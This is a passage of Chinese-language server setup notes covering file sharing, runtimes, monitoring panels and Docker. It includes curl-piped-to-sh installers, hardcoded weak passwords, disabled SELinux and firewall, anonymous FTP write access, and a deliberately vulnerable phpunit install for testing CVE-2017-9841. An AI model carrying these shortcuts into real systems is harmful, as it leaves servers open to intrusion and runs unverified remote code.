192.168.xxx.xxx:/public /mnt/nfsfiles/ nfs defaults 0 0 ``` ``` su -l nfsuser1 ``` **验证** 服务器 ```bash cd /public/ echo "hello" > hello.txt ``` 客户端 ```bash cd /mnt/nfsfiles/ cat hello.txt ``` **更多配置案例** 见 [nfs.md](./实验/nfs.md) --- ### Samba **官网** - https://www.samba.org **服务端** 安装 ``` yum install -y samba ``` 修改配置文件 ```vim vim /etc/samba/smb.conf [smbshare] path = /smbshare # 共享目录 public = yes writeable=yes hosts allow = 192.168.1xx.33/32 # 允许主机 hosts deny = all create mask = 0770 # 创建文件的权限为 0770; ``` ```bash testparm # 验证配置文件有没有错误 ``` **用户配置** ```bash # 添加用户,设置密码 useradd smb1 smbpasswd -a smb1(密码:smb123456) # 将用户添加到 samba 服务器中,并设置密码 pdbedit -a smb1(密码:smb123456) # 查看 samba 数据库用户 pdbedit -L ``` 创建共享目录,设置所有者和所属组 ```bash mkdir /smbshare chown smb1:smb1 /smbshare ``` 关闭 selinux (需要重启) ```vim vim /etc/selinux/config SELINUX=disabled ``` ```bash firewall-cmd --zone=public --add-service=samba --permanent firewall-cmd --reload systemctl restart smb ``` **客户端** ```bash yum install -y samba mkdir /data/web_data mount -t cifs -o username=smb1,password='smb123456' //192.168.xx+1.xx/webdata /data/web_data ``` **更多配置案例** 见 [Samba.md](./实验/Samba.md) --- ### sharry **官网** - https://github.com/eikek/sharry **安装** ```bash cd /tmp wget https://github.com/eikek/sharry/releases/download/release%2F1.6.0/sharry-restserver-1.6.0.zip unzip sharry-restserver-1.6.0.zip mv sharry-restserver-1.6.0 sharry /tmp/sharry/bin/sharry-restserver ``` 访问 http://localhost:9090/ --- ### Vsftp **官网** - https://security.appspot.com/vsftpd.html **匿名访问** |参数|作用| | :------------- | :------------- | |anonymous_enable=YES | 允许匿名访问模式 | |anon_umask=022 | 匿名用户上传文件的umask值| |anon_upload_enable=YES | 允许匿名用户上传文件| |anon_mkdir_write_enable=YES | 允许匿名用户创建目录| |anon_other_write_enable=YES | 允许匿名用户修改目录名称或删除目录| ```vim vim /etc/vsftpd/vsftpd.conf anonymous_enable=YES anon_umask=022 anon_upload_enable=YES anon_mkdir_write_enable=YES anon_other_write_enable=YES ``` ```bash setenforce 0 # 关闭 selinux firewall-cmd --permanent --zone=public --add-service=ftp firewall-cmd --reload systemctl restart vsftpd systemctl enable vsftpd ``` 现在就可以在客户端执行 ftp 命令连接到远程的 FTP 服务器了. 在 vsftpd 服务程序的匿名开放认证模式下,其账户统一为 anonymous,密码为空.而且在连接到 FTP 服务器后,默认访问的是 `/var/ftp` 目录. 我们可以切换到该目录下的 pub 目录中,然后尝试创建一个新的目录文件,以检验是否拥有写入权限: ```bash [root@linuxprobe ~]# ftp 192.168.10.10 Connected to 192.168.10.10 (192.168.10.10). 220 (vsFTPd 3.0.2) Name (192.168.10.10:root): anonymous 331 Please specify the password. Password:此处敲击回车即可 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd pub 250 Directory successfully changed. ftp> mkdir files 257 "/pub/files" created ftp> rename files database 350 Ready for RNTO. 250 Rename successful. ftp> rmdir database 250 Remove directory operation successful. ftp> exit 221 Goodbye. ``` --- **本地用户** |参数 | 作用| | :------------- | :------------- | |anonymous_enable=NO |禁止匿名访问模式| |local_enable=YES | 允许本地用户模式| |write_enable=YES | 设置可写权限| |local_umask=022 | 本地用户模式创建文件的umask值| |userlist_deny=YES |启用"禁止用户名单",名单文件为 ftpusers 和 user_list| |userlist_enable=YES | 开启用户作用名单文件功能| ```vim vim /etc/vsftpd/vsftpd.conf anonymous_enable=NO local_enable=YES write_enable=YES local_umask=022 ``` ```bash setenforce 0 # 关闭 selinux firewall-cmd --permanent --zone=public --add-service=ftp firewall-cmd --reload systemctl restart vsftpd systemctl enable vsftpd ``` 按理来讲,现在已经完全可以本地用户的身份登录 FTP 服务器了.但是在使用 root 管理员登录后,系统提示如下的错误信息: ```bash [root@linuxprobe ~]# ftp 192.168.10.10 Connected to 192.168.10.10 (192.168.10.10). 220 (vsFTPd 3.0.2) Name (192.168.10.10:root): root 530 Permission denied. Login failed. ftp> ``` 可见,在我们输入 root 管理员的密码之前,就已经被系统拒绝访问了.这是因为 vsftpd 服务程序所在的目录中默认存放着两个名为"用户名单"的文件 (ftpusers 和 user_list) .只要里面写有某位用户的名字,就不再允许这位用户登录到 FTP 服务器上. ```bash [root@linuxprobe ~]# cat /etc/vsftpd/user_list [root@linuxprobe ~]# cat /etc/vsftpd/ftpusers ``` 如果你确认在生产环境中使用 root 管理员不会对系统安全产生影响,只需按照上面的提示删除掉 root 用户名即可.我们也可以选择 ftpusers 和 user_list 文件中没有的一个普通用户尝试登录 FTP 服务器 在采用本地用户模式登录FTP服务器后,默认访问的是该用户的家目录,也就是说,访问的是 `/home/username` 目录.而且该目录的默认所有者、所属组都是该用户自己,因此不存在写入权限不足的情况. --- **虚拟用户** 安装 ```bash yum install -y vsftpd ``` 认证 创建虚拟用户文件,把这些用户名和密码存放在一个文件中.该文件内容格式是:用户名占用一行,密码占一行. ```bash cd /etc/vsftp ``` ```vim vim login.list Ftpuser1 123456 Ftpuser2 123456 Ftpadmin 123456 ``` 使用 db_load 命令生成 db 口令 login 数据库文件 ```bash db_load -T -t hash -f login.list login.db ``` 通过修改指定的配置文件,调整对该程序的认证方式 ```vim vim /etc/vsftpd/vsftpd.conf pam_service_name=vsftpd.vu # 设置 PAM 使用的名称,该名称就是 /etc/pam.d/ 目录下 vsfptd 文件的文件名 ``` ```bash cp /etc/pam.d/vsftpd /etc/pam.d/vsftpd.vu ``` ```vim vim /etc/pam.d/vsftpd.vu auth required pam_userdb.so db=/etc/vsftpd/login account required pam_userdb.so db=/etc/vsftpd/login # 注意:格式是 db=/etc/vsftpd/login 这样的,一定不要去掉源文件的 .db 后缀 ``` 配置文件 ```vim vim /etc/vsftpd/vsftpd.conf anonymous_enable=NO local_enable=YES guest_enable=YES guest_username=virtual pam_service_name=vsftpd.vu allow_writeable_chroot=YES ``` |参数 | 作用| | :------------- | :------------- | |anonymous_enable=NO |禁止匿名开放模式| |local_enable=YES | 允许本地用户模式| |guest_enable=YES | 开启虚拟用户模式| |guest_username=virtual | 指定虚拟用户账户| |pam_service_name=vsftpd.vu | 指定PAM文件| |allow_writeable_chroot=YES | 允许对禁锢的FTP根目录执行写入操作,而且不拒绝用户的登录请求| 用户配置权限文件 所有用户主目录为 /home/ftp 宿主为 virtual 用户; ```bash useradd -d /home/ftp -s /sbin/nologin virtual chmod -Rf 755 /home/ftp/ cd /home/ftp/ touch testfile ``` ```vim vim /etc/vsftpd/vsftpd.conf guest_enable=YES # 表示是否开启 vsftpd 虚拟用户的功能,yes 表示开启,no 表示不开启. guest_username=virtual # 指定虚拟用户的宿主用户 user_config_dir=/etc/vsftpd/user_conf # 设定虚拟用户个人 vsftpd 服务文件存放路径 allow_writeable_chroot=YES ``` 编辑用户权限配置文件 ```vim vim Ftpadmin # 创建 Ftpadmin 这个用户的配置文件 anon_upload_enable=YES anon_mkdir_wirte_enable=YES anon_other_wirte_enable=YES anon_umask=022 # 要求虚拟用户具有写权限 (上传、下载、删除、重命名) # umask = 022 时,新建的目录 权限是755,文件的权限是 644 # umask = 077 时,新建的目录 权限是700,文件的权限时 600 # vsftpd的local_umask和anon_umask借鉴了它 # 默认情况下vsftp上传之后文件的权限是600,目录权限是700 # 想要修改上传之后文件的权限,有两种情况 # 如果使用vsftp的是本地用户 # 则要修改配置文件中的 local_umask 的值 # 如果使用vsftp的是虚拟用户 # 则要修改配置文件中的 anon_umask 的值 ``` **启服务** ```bash setenforce 0 # 关闭 selinux firewall-cmd --zone=public --add-service=ftp firewall-cmd --reload systemctl restart vsftpd systemctl enable vsftpd ``` **Source & Reference** - [第11章 使用Vsftpd服务传输文件.](https://www.linuxprobe.com/chapter-11.html) **更多配置案例** 见 [Vsftp.md](./实验/Vsftp.md) --- ## 编程语言 ### C <p align="center"> <img src="../../../assets/img/logo/c.svg" width="10%"> </p> ```c vim world.c #include <stdio.h> int main(void){ printf("Hello World"); return 0; } ``` ```bash gcc helloworld.c -o execFile ./execFlie ``` --- ### Go <p align="center"> <img src="../../../assets/img/logo/go.svg" width="20%"> </p> **官网** - https://golang.org/ **安装** 访问 https://golang.org/dl/ 下载最新版本包,这里以 `go1.13.linux-amd64.tar.gz` 为例 ```bash tar -C /usr/local -xzf go1.13.linux-amd64.tar.gz export PATH=$PATH:/usr/local/go/bin export GOROOT=/usr/local/go export GOPATH=$HOME/Applications/Go export GOBIN=$GOROOT/bin source $HOME/.profile source ~/.bash_profile # $GOPATH 可以包含多个工作目录,取决于你的个人情况.如果你设置了多个工作目录,那么当你在之后使用 go get (远程包安装命令) 时远程包将会被安装在第一个目录下. ln -s /usr/local/go/bin/go /usr/bin/go go version ``` **测试安装** ```bash mkdir -p $HOME/Applications/Go cd $HOME/Applications/Go ``` ```vim vim hello.go package main import "fmt" func main() { fmt.Printf("hello, world\n") } ``` ```bash go build ./hello ``` --- ### JDK <p align="center"> <img src="../../../assets/img/logo/java.svg" width="10%"> </p> **oracle jdk** - **rpm 包方式安装** 下载 https://www.oracle.com/technetwork/java/javase/downloads/ ```bash chmod +x jdk-****.rpm yum localinstall jdk-****.rpm # 也可以 rpm -ivh jdk-****.rpm ``` - **使用 ppa/源方式安装 oracle 官方版本 jdk** ```bash # 添加 ppa apt-get install -y python-software-properties add-apt-repository ppa:webupd8team/java apt-get update # 安装 jdk7 apt-get install -y oracle-java7-installer # 安装 jdk8 apt-get install -y oracle-java8-installer ``` - **直接使用编译完成的** 自行下载 [oracle jdk](https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) 这里以 `jdk-8u212-linux-x64.tar.gz` 举例 ```bash tar -xzvf jdk-8u212-linux-x64.tar.gz mkdir /usr/local/java/ mv jdk1.8.0_212/ /usr/local/java export JAVA_HOME=/usr/local/java/jdk1.8.0_212 export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH source /etc/profile ln -s /usr/local/java/jdk1.8.0_212/bin/java /usr/bin/java ``` **Openjdk** - Red Hat系 ```bash yum install java-1.8.0-openjdk java-1.8.0-openjdk-devel java -version ``` - Debian 系 ```bash apt-get update apt-get install -y openjdk-8-jdk # 或 apt-get install openjdk-11-jdk java -version ``` **测试** ```bash java javac ``` --- ### Perl <p align="center"> <img src="../../../assets/img/logo/Perl.png" width="25%"> </p> **官网** - https://www.perl.org/ **安装** ```bash sh <(curl -q https://platform.activestate.com/dl/cli/install.sh) --activate-default ActiveState/ActivePerl-5.28 ``` **安装模块** ```bash cpan [module] # 安装模块 cpan -T [module] # 忽略测试项安装 ``` --- ### PHP <p align="center"> <img src="../../../assets/img/logo/php.svg" width="15%"> </p> **安装** ```bash # 安装必要的软件包 apt-get install -y php php-cli php-zip ``` ### composer Composer 是 PHP 的一个依赖管理工具。我们可以在项目中声明所依赖的外部工具库,Composer 会帮你安装这些依赖的库文件,有了它,我们就可以很轻松的使用一个命令将其他人的优秀代码引用到我们的项目中来。 **安装** ```bash # 使用php cli toll下载Composer安装脚本 php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" # 在/usr/local/bin目录中安装Composer apt-get composer-setup.php --install-dir=/usr/local/bin --filename=composer # 验证安装 composer ``` **使用** ```bash # 以下为 CVE-2017-9841 测试 apt-get install -y php-xml php-mbstring composer require --dev phpunit/phpunit:5.6.2 php -S localhost:8080 -t . ``` --- ### Python3 <p align="center"> <img src="../../../assets/img/logo/python.svg" width="10%"> </p> **官网** - https://www.python.org/ **yum 安装** ```bash yum install -y epel-release 或 wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum install -y python36 python36-devel yum install -y python-devel yum install -y python3-devel ``` **源代码编译方式安装** 安装依赖环境 ```bash yum install -y zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel ``` 下载Python3 ```bash wget https://www.python.org/ftp/python/3.6.1/Python-3.6.1.tgz ``` 安装python3 ```bash mkdir -p /usr/local/python3 tar zxvf Python-3.6.1.tgz cd Python-3.6.1 ./configure --prefix=/usr/local/python3 make make install 或者 make && make install ``` 添加到环境变量 ```bash ln -s /usr/local/python3/bin/python3 /usr/bin/python3 ``` ```vim vim ~/.bash_profile # 永久修改变量 PATH=$PATH:/usr/local/python3/bin/ ``` ```bash source ~/.bash_profile ``` 检查 Python3 及 pip3 是否正常可用 ```bash python3 -V pip3 -V ``` #### pip ```bash wget https://bootstrap.pypa.io/get-pip.py python3 get-pip.py ``` debian 系可以直接用 apt 装 ```bash apt-get install -y python-pip ``` **加速** - [pip](../../Plan/Misc-Plan.md#pip) **pip 指定版本安装** 检查一遍 pip 和 pip3 分别指向的 Python ```bash pip -V pip3 -V ``` 在 linux 安装了多版本 python 时(例如 python2.6 和 2.7),pip 安装的包不一定是用户想要的位置,此时可以用 -t 选项来指定位置 ```bash pip install -t /usr/local/lib/python2.7/site-packages/ docker ``` #### jupyterlab **安装运行** ```bash pip3 install jupyterlab jupyter lab --ip=0.0.0.0 --allow-root # 运行 # 或 jupyter lab --ip=* --allow-root # 允许所有IP访问 ``` **管理** ```bash jupyter-notebook list # 查看令牌 jupyter-labextension list # 列出已安装扩展 jupyter-labextension uninstall my-extension # 卸载已安装扩展 ``` --- ### Ruby <p align="center"> <img src="../../../assets/img/logo/ruby.svg" width="8%"> </p> **官网** - https://www.ruby-lang.org **安装** 下载 ruby 安装包,并进行编译安装 ```bash wget https://cache.ruby-lang.org/pub/ruby/3.0/ruby-3.0.0.tar.gz tar xvfvz ruby-3.0.0.tar.gz cd ruby-3.0.0 ./configure make make install ``` 将 ruby 添加到环境变量,ruby 安装在/usr/local/bin/目录下,因此编辑 ~/.bash_profile文件,添加一下内容: ```bash vim ~/.bash_profile export PATH=$PATH:/usr/local/bin/ ``` ```bash source ~/.bash_profile # 不要忘了生效一下 ``` --- ### Rust <p align="center"> <img src="../../../assets/img/logo/rust.svg" width="10%"> </p> **官网** - https://www.rust-lang.org **安装** ```bash curl https://sh.rustup.rs -sSf | sh 或 dnf install rust cargo ``` **测试安装** ```bash rustc --version cargo --version tee hello.rs <<-'EOF' fn main() { println!("Hello, world!"); } EOF rustc hello.rs # 编译程序 ./hello # 运行 ``` **使用 Cargo 构建程序** ```bash cargo new helloworld # 创建一个新的包 cd helloworld/ cargo build # 构建包 ./target/debug/helloworld # 直接运行二进制文件 cargo run # 编译和运行 cargo check # 查看对目录进行了哪些更改 cargo clean # 清理目录 ``` --- ## 系统监管 ### aaPanel/BaoTa **官网** - https://www.bt.cn/ - https://github.com/aaPanel/BaoTa **安装** - Centos/Fedora ```bash wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ``` - Ubuntu/Debian/Deepin ```bash wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.sh ``` **使用** - web: 安装完后会随机生成8位的管理路径,账号和密码,访问即可 - shell: 使用 `bt` 命令 **卸载** ```bash wget http://download.bt.cn/install/bt-uninstall.sh sh bt-uninstall.sh ``` **国际版本** - https://www.aapanel.com/ - Centos/Fedora ```bash yum install -y wget && wget -O install.sh http://www.aapanel.com/script/install_6.0_en.sh && bash install.sh aapanel ``` - Ubuntu/Deepin ```bash wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh aapanel ``` - Debian ```bash wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && bash install.sh aapanel ``` --- ### Jenkins <p align="center"> <img src="../../../assets/img/logo/Jenkins.png" width="27%"> </p> **官网** - https://jenkins.io/ `注,Jenkins 需要 jdk 环境,请先行安装` **rpm 包方式安装** 添加 Jenkins 源: ```bash wget -O /etc/yum.repos.d/jenkins.repo http://jenkins-ci.org/redhat/jenkins.repo rpm --import http://pkg.jenkins-ci.org/redhat/jenkins-ci.org.key ``` 使用 yum 命令安装 Jenkins: ```bash yum install -y jenkins ``` **使用 ppa/源方式安装** ```bash wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | apt-key add - sed -i "1ideb https://pkg.jenkins.io/debian binary/" /etc/apt/sources.list apt-get update apt-get install -y jenkins ``` 安装后默认服务是启动的,默认是 8080 端口,在浏览器输入 : http://127.0.0.1:8080/即可打开主页 查看密码 ``` cat /var/lib/jenkins/secrets/initialAdminPassword ``` --- ### JumpServer <p align="center"> <img src="../../../assets/img/logo/JumpServer.png" width="30%"> </p> **官网** - http://www.jumpserver.org/ **安装** > 以下部分内容来自 <sup>[[官方文档](https://docs.jumpserver.org/zh/master/)]</sup> 在此只记录重点 `注:鉴于国内环境,下面步骤运行中还是会出现 docker pull 镜像超时的问题,你懂的,不要问我怎么解决` ```bash curl -sSL https://github.com/jumpserver/jumpserver/releases/download/2.0.1/quick_start.sh | sh ``` --- ### Loganalyzer <p align="center"> <img src="../../../assets/img/logo/Loganalyzer.png" width="50%"> </p> > 日志收集系统 **安装** 这里以 LAMP 环境为例 ```bash yum install -y httpd mariadb mariadb-server php php-mysql mysql-devel systemctl start mariadb systemctl restart httpd firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ``` ```vim vim /etc/httpd/conf/httpd.conf <IfModule dir_module> DirectoryIndex index.php index.html </IfModule> ``` ```bash yum install -y rsyslog-mysql cd /usr/share/doc/rsyslog-8.24.0/ mysql -uroot -p < mysql-createDB.sql systemctl restart rsyslog mysql -uroot -p GRANT ALL ON Syslog.* TO 'Syslog'@'localhost' identified BY 'Syslog'; FLUSH PRIVILEGES; ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 Syslog 这类弱口令 ```vim vim /etc/rsyslog.conf $ModLoad immark $ModLoad imudp $UDPServerRun 514 $ModLoad imtcp $ModLoad ommysql *.* :ommysql:localhost,Syslog,rsyslog,Syslog ``` `注:同样,这里数据库账号链接的密码自己也记得改一下` ```bash wget -c http://download.adiscon.com/loganalyzer/loganalyzer-4.1.7.tar.gz tar xf loganalyzer-4.1.7.tar.gz -C /tmp/ cd /tmp/loganalyzer-4.1.7/ # !!注: 我这里有个删除 /var/www/html/ 下文件的操作,看清楚再执行!! rm -rf /var/www/html/* cp -a src/* /var/www/html/ cp -a contrib/* /var/www/html/ chmod +x /var/www/html/*.sh cd /var/www/html ./configure.sh ``` ```bash echo 1 > /var/log/syslog ``` 然后访问 127.0.0.1 即可看到初始化安装界面,在 step3 记得选择 `Enable User Database` - Database Host:localhost - Database Port:3306 - Database Name:Syslog - Table prefix:logcon_ - Database User:Syslog - Database Password:Syslog `注: 密码自己记得改` --- ### Supervisor **官网** - http://supervisord.org/ **安装** 因为 Supervisor 是 Python 开发的,安装前先检查一下系统否安装了 Python2.4 以上版本. ```bash pip install supervisor ``` 安装完成后,我们使用 echo_supervisord_conf 命令创建一个 Supervisor 配置文件 ```bash echo_supervisord_conf > /etc/supervisord.conf ``` **配置** 接着在 /etc/supervisord.conf 文件最下方加入目标程序的启动项目 ```conf vim /etc/supervisord.conf ; [program:xx]是被管理的进程配置参数,xx是进程的名称 [program:xx] command=/opt/apache-tomcat-8.0.35/bin/catalina.sh run ; 程序启动命令 autostart=true ; 在 supervisord 启动的时候也自动启动 startsecs=10 ; 启动10秒后没有异常退出,就表示进程正常启动了,默认为1秒 autorestart=true ; 程序退出后自动重启,可选值:[unexpected,true,false],默认为 unexpected,表示进程意外杀死后才重启 startretries=3 ; 启动失败自动重试次数,默认是3 user=tomcat ; 用哪个用户启动进程,默认是root priority=999 ; 进程启动优先级,默认999,值小的优先启动 redirect_stderr=true ; 把 stderr 重定向到 stdout,默认 false stdout_logfile_maxbytes=20MB ; stdout 日志文件大小,默认 50MB s tdout_logfile_backups = 20 ; stdout 日志文件备份数,默认是10 ; stdout 日志文件,需要注意当指定目录不存在时无法正常启动,所以需要手动创建目录 (supervisord 会自动创建日志文件) stdout_logfile=/opt/apache-tomcat-8.0.35/logs/catalina.out stopasgroup=false ;默认为 false,进程被杀死时,是否向这个进程组发送 stop 信号,包括子进程 killasgroup=false ;默认为 false,向进程组发送 kill 信号,包括子进程 ``` 注意修改 user = tomcat 接着直接运行 Supervisor 即可让目标程序保持后台运行,运行服务时,需要指定 supervisor 配置文件 ```bash supervisord -c /etc/supervisord.conf ``` ```bash supervisorctl status supervisorctl stop tomcat supervisorctl start tomcat supervisorctl restart tomcat supervisorctl reread supervisorctl update ``` **Source & Reference** - [Supervisor 安装与配置 (Linux/Unix 进程管理工具) ](https://blog.csdn.net/xyang81/article/details/51555473) --- ### Webmin <p align="center"> <img src="../../../assets/img/logo/Webmin.png" width="35%"> </p> **官网** - http://www.webmin.com/index.html **安装** 在官网下载 RPM 包,上传至服务器,这里以 1.930-1 为例 ```bash yum install -y perl-Net-SSLeay yum install -y perl-Encode-Detect yum install -y perl-Data-Dumper rpm -Uvh webmin-1.930-1.noarch.rpm firewall-cmd --permanent --zone=public --add-port=10000/tcp firewall-cmd --reload ``` 安装完直接启动,访问 https://127.0.0.1:10000 注意,带 HTTPS 默认账号 root,密码与服务器一致 **修改密码** ```bash /usr/libexec/webmin/changepass.pl /etc/webmin/ root 1234qwer ``` --- ### Zabbix <p align="center"> <img src="../../../assets/img/logo/Zabbix.svg" width="25%"> </p> > zabbix 是一款服务器监控软件,其由 server、agent、web 等模块组成,其中 web 模块由 PHP 编写,用来显示数据库中的结果. **官网** - https://www.zabbix.com/ **安装依赖** ```bash yum install -y mysql yum install -y httpd yum install -y php yum install -y php-mysqlnd php-gd libjpeg* php-snmp php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash php-common php-ctype php-xml php-xmlreader php-xmlwriter php-session php-mbstring php-gettext php-ldap php-mysqli --skip-broken yum install -y wget telnet net-tools python-paramiko gcc gcc-c++ dejavu-sans-fonts python-setuptools python-devel sendmail mailx net-snmp net-snmp-devel net-snmp-utils freetype-devel libpng-devel perl unbound libtasn1-devel p11-kit-devel OpenIPMI unixODBC ``` **设置 mysql** ```vim vim /etc/my.cnf innodb_file_per_table = 1 innodb_status_file = 1 innodb_buffer_pool_size = 6G innodb_flush_log_at_trx_commit = 2 innodb_log_buffer_size = 16M innodb_log_file_size = 64M innodb_support_xa = 0 default-storage-engine = innodb bulk_insert_buffer_size = 8M join_buffer_size = 16M max_heap_table_size = 32M tmp_table_size = 32M max_tmp_tables = 48 read_buffer_size = 32M read_rnd_buffer_size = 16M key_buffer_size = 32M thread_cache_size = 32 innodb_thread_concurrency = 8 innodb_flush_method = O_DIRECT innodb_rollback_on_timeout = 1 query_cache_size = 16M query_cache_limit = 16M collation_server = utf8_bin character_set_server = utf8 ``` 原则上 innodb_buffer_pool_size 需要设置为主机内存的 80%,如果主机内存不是 8GB,以上参数可依据相应比例进行调整,例如主机内存为 16GB,则 innodb_buffer_pool_size 建议设置为 12GB,innodb_log_buffer_size 建议设置为 32M,innodb_log_file_size 建议设置为 128M,以此类推.请注意 innodb_buffer_pool_size 的值必须是整数,例如主机内存是4G,那么 innodb_buffer_pool_size 可以设置为 3G,而不能设置为 3.2G ```bash systemctl enable mysqld && systemctl start mysqld grep 'temporary password' /var/log/mysqld.log # 获取 MySQL 的 root 初始密码 mysql_secure_installation # 初始化,改下密码 systemctl restart mysqld mysql -u root -p create database zabbix character set utf8; exit; mysql_upgrade -u root -p mysql -u root -p create user zabbix@'%' identified by '{mysql_zabbix_password}'; grant all privileges on zabbix.* to zabbix@'%'; flush privileges; exit; ``` **安装 zabbix** ```bash rpm -ivh https://repo.zabbix.com/zabbix/4.2/rhel/7/x86_64/zabbix-release-4.2-1.el7.noarch.rpm yum install -y zabbix-server-mysql zabbix-web-mysql zabbix-java-gateway zabbix-web cd /usr/share/doc/zabbix-server-mysql-4.2.1 zcat create.sql.gz | mysql -uroot zabbix -p ``` - 配置 zabbix 参数 ```vim vim /etc/zabbix/zabbix_server.conf DBPassword={mysql_zabbix_password} CacheSize=512M HistoryCacheSize=128M HistoryIndexCacheSize=128M TrendCacheSize=128M ValueCacheSize=256M Timeout=30 ``` 如果需要监控 VMware 虚拟机,则还需要设置以下选项参数: ```vim StartVMwareCollectors=2 VMwareCacheSize=256M VMwareTimeout=300 ``` **配置 Apache 中的 PHP 参数** ```vim vim /etc/httpd/conf.d/zabbix.conf php_value max_execution_time 600 php_value memory_limit 256M php_value post_max_size 32M php_value upload_max_filesize 32M php_value max_input_time 600 php_value always_populate_raw_post_data -1 date.timezone Asia/Shanghai ``` **配置 PHP 参数** ```vim vim /etc/php.ini php_value post_max_size 32M max_execution_time 300 max_input_time 300 date.timezone Asia/Shanghai ``` **重启&起服务** ```bash systemctl stop mysqld && reboot systemctl start httpd && systemctl start zabbix-server systemctl stop firewalld setenforce 0 # 关闭 selinux ``` 访问 `http://ip地址/zabbix/setup.php` **Source & Reference** - [CentOS 7安装Zabbix 3.4](https://www.centos.bz/2017/11/centos-7%E5%AE%89%E8%A3%85zabbix-3-4/) --- ## 容器&虚拟化 ### Docker <p align="center"> <img src="../../../assets/img/logo/Docker.png" width="30%"> </p> > 更多 Docker 相关知识参考 [Docker笔记](../容器/Docker.md) **官网** - https://www.docker.com **安装** - **官方一条命令版(不兼容 kali)** ```bash curl -sSL https://get.docker.com/ | sh ``` - **CentOS7 下安装** ```bash yum install -y yum-utils device-mapper-persistent-data lvm2 wget -O /etc/yum.repos.d/docker-ce.repo https://download.docker.com/linux/centos/docker-ce.repo sed -i 's+download.docker.com+mirrors.tuna.tsinghua.edu.cn/docker-ce+' /etc/yum.repos.d/docker-ce.repo yum makecache fast yum install -y docker systemctl start docker ``` - **CentOS8 下安装** ```bash dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo dnf list docker-ce dnf install docker-ce --nobest -y systemctl start docker systemctl enable docker docker --version ``` - **debian 下安装** ```bash apt remove docker docker-engine docker.io apt-get install -y \ apt-transport-https \ ca-certificates \ curl \ software-properties-common \ gnupg curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add - echo 'deb https://download.docker.com/linux/debian stretch stable'> /etc/apt/sources.list.d/ apt update apt install -y docker-ce docker version systemctl start docker docker login # 一般不需要账户登录 ``` **使用** - 启动,暂停以及启用 Docker ``` systemctl start docker systemctl enable docker systemctl stop docker systemctl restart docker ``` - 拉取镜像 ```bash docker image ls # 检查一下系统中已经有了哪些镜像 docker pull nginx # 拉取一个镜像 docker search nginx # 搜索 Docker Hub 中的所有 Nginx 镜像 docker pull jwilder/nginx-proxy # 从非官方源拉取镜像 ``` - 常用命令 ```bash docker version # 查看 docker 版本 docker run -it [docker_image_id] bash # 运行一个容器实例 docker run -d -p 物理端口1:容器端口1 -p 物理端口2:物理端口2 --name 容器名 <image-name>:<tag> docker run --name=test -p 1234:1234 -itd ubuntu /bin/bash # 使用本地 1234 端口连接 docker 的 1234 端口运行 ubuntu 镜像,并将其临时命名为 test # test:为临时名称,可以自定义填写。 # -p: 第一个端口为本机的端口,第二个端口为 Docker 的端口。 # -itd:意思是在后台运行,交互式运行,并且输出当前的信息 # /bin/bash:调用 Shell docker run -d -p 8080:80 -v 本机路径:容器路径 --name 容器名 <image-name>:<tag> # 磁盘挂载 docker stop [docker_name/docker_id] # 停止容器 docker start [options] container [container...] # 启动一个或多个已停止的容器 docker exec -it [docker_id] bash # 获取容器的 shell docker kill # 杀死容器 docker commit [docker_id] [docker_image_id] # 提交并保存容器状态 docker logs [options] [docker_name/docker_id] # 查看docker容器日志 docker logs [options] [docker_name/docker_id] --tail 100 # 日志最后的100行 docker inspect --format '{{ .NetworkSettings.IPAddress }}' [docker_name/docker_id] # 查看容器 ip 地址 docker tag SOURCE_IMAGE[:TAG] TARGET_IMAGE[:TAG] # 标记本地镜像,将其归入某一仓库。 docker tag centos centos:v1 # 给 centos 镜像打标签 docker tag ubuntu:15.10 test/ubuntu:v3 # 将镜像 ubuntu:15.10 标记为 test/ubuntu:v3 镜像。 docker run -itd centos:v1 # 运行 centos:v1 镜像 docker rm [docker_name/docker_id] # 删除容器 docker rmi $(docker images -f "dangling=true" -q) # 删除 docker 悬空镜像 docker ps # 查看当前运行的 docker 容器的进程信息 docker ps -a # 查看当前容器 docker stats # 统计信息 docker cp xxx.txt [docker_id]:/home # 复制 xxx.txt 到容器的 /home 目录下 docker cp [docker_id]:/home/test.txt /tmp/xxx.txt # 复制容器 /home/text.txt 文件到宿主机 /tmp 目录 docker hisotry [docker_name/docker_id] # 查看指定镜像的创建历史 ``` **容器保活** ``` tail top tail -f /var/log/cron.log init ``` **加速** - [Docker 镜像加速](../../Plan/Misc-Plan.md#Docker) **更多内容** - [Docker](./实验/Docker.md) #### Docker-Compose <p align="center"> <img src="../../../assets/img/logo/Compose.png" width="50%"> </p> > Docker-Compose 是一个部署多个容器的简单但是非常必要的工具. **项目地址** - https://github.com/docker/compose **安装** 下载二进制包 https://github.com/docker/compose/releases 然后将文件上传到 `/usr/local/bin/` 文件夹下,然后将其重命名为 docker-compose,修改此文件的权限,增加可执行权限 ```bash wget https://github.com/docker/compose/releases/download/1.25.5/docker-compose-Linux-x86_64 mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose chmod +x /usr/local/bin/docker-compose ``` 或直接采用 pip 安装 ```bash pip3 install docker-compose ``` ```bash docker-compose build docker-compose up -d docker-compose stop ``` ```bash docker-compose ps # 查看当前的使用 docker-compose up -d 开启的容器进程信息 docker-compose up -d # 使用本地的 docker-compose.yml 开启相关的容器 docker-compose down # 终止当前的使用 docker-compose up -d 开启的容器 docker-compose exec [service] sh # 进入容器内 ``` **常见报错** - 